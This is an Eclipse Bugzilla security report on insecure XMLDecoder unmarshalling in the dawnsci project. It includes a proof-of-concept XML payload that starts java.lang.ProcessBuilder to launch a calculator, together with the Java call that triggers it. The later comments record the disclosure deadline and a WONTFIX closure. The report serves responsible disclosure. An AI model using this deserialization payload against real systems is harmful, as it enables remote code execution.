Bug 561375 - [science.dawnsci] Insecure unmarshling using XMLDecoder leading to RCE
Summary: [science.dawnsci] Insecure unmarshling using XMLDecoder leading to RCE
Status: RESOLVED WONTFIX
Alias: None
Product: Community
Classification: Eclipse Foundation
Component: Vulnerability Reports (show other bugs)
Version: unspecified   Edit
Hardware: PC Linux
: P3 normal (vote)
Target Milestone: ---   Edit
Assignee: Security vulnerabilitied reported against Eclipse projects CLA
QA Contact:
URL:
Whiteboard:
Keywords: security
Depends on:
Blocks:
 
Reported: 2020-03-23 10:48 EDT by Wayne Beaton CLA
Modified: 2021-09-20 16:56 EDT (History)
3 users (show)

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Wayne Beaton CLA 2020-03-23 10:48:00 EDT
From the Security Team inbox:

--
https://github.com/eclipse/dawnsci/blob/master/org.eclipse.dawnsci.remotedataset.core/src/org/eclipse/dawnsci/remotedataset/XMLMarshallerService.java uses insecure XMLDecoder to unmarshall xml files leading to remote code execution (RCE). For example below sample code should popup calculator.


//https://github.com/pwntester/XMLDecoder/blob/master/bean-rce.xml
String xml = " <object class=\"java.lang.ProcessBuilder\">\r\n" +
"      <array class=\"java.lang.String\" length=\"1\">\r\n" +
"          <void index=\"0\">\r\n" +
"              <string>calc</string>\r\n" +
"          </void>\r\n" +
"      </array>\r\n" +
"      <void method=\"start\" />\r\n" +
" </object>\r\n" ;

XMLMarshallerService x = new XMLMarshallerService();
byte[] b = xml.getBytes();
Map<String, Object> m = (Map<String, Object>) x.unmarshal(xml, Map.class);

It looks like the unmarshall code is called at
https://github.com/eclipse/dawnsci/blob/master/org.eclipse.dawnsci.remotedataset.client/src/org/eclipse/dawnsci/remotedataset/client/RemoteDataHolder.java and potentially downloading the xml file from remote service increasing the risk.
--
Comment 1 Wayne Beaton CLA 2020-03-23 10:50:20 EDT
Project team: there is some help in the handbook regarding how we handle vulnerabilities.

https://www.eclipse.org/projects/handbook/#vulnerability
Comment 2 Wayne Beaton CLA 2020-04-01 16:39:49 EDT
Matthew, can you or somebody from the project team respond please?
Comment 3 Wayne Beaton CLA 2021-08-16 15:51:37 EDT
Housekeeping. We're well past the three month disclosure deadline, so I'm removing the confidential flag.
Comment 4 Wayne Beaton CLA 2021-09-20 16:56:28 EDT
Based on [1], the project is dead. WONTFIX.

[1] https://www.eclipse.org/lists/dawnsci-dev/msg00005.html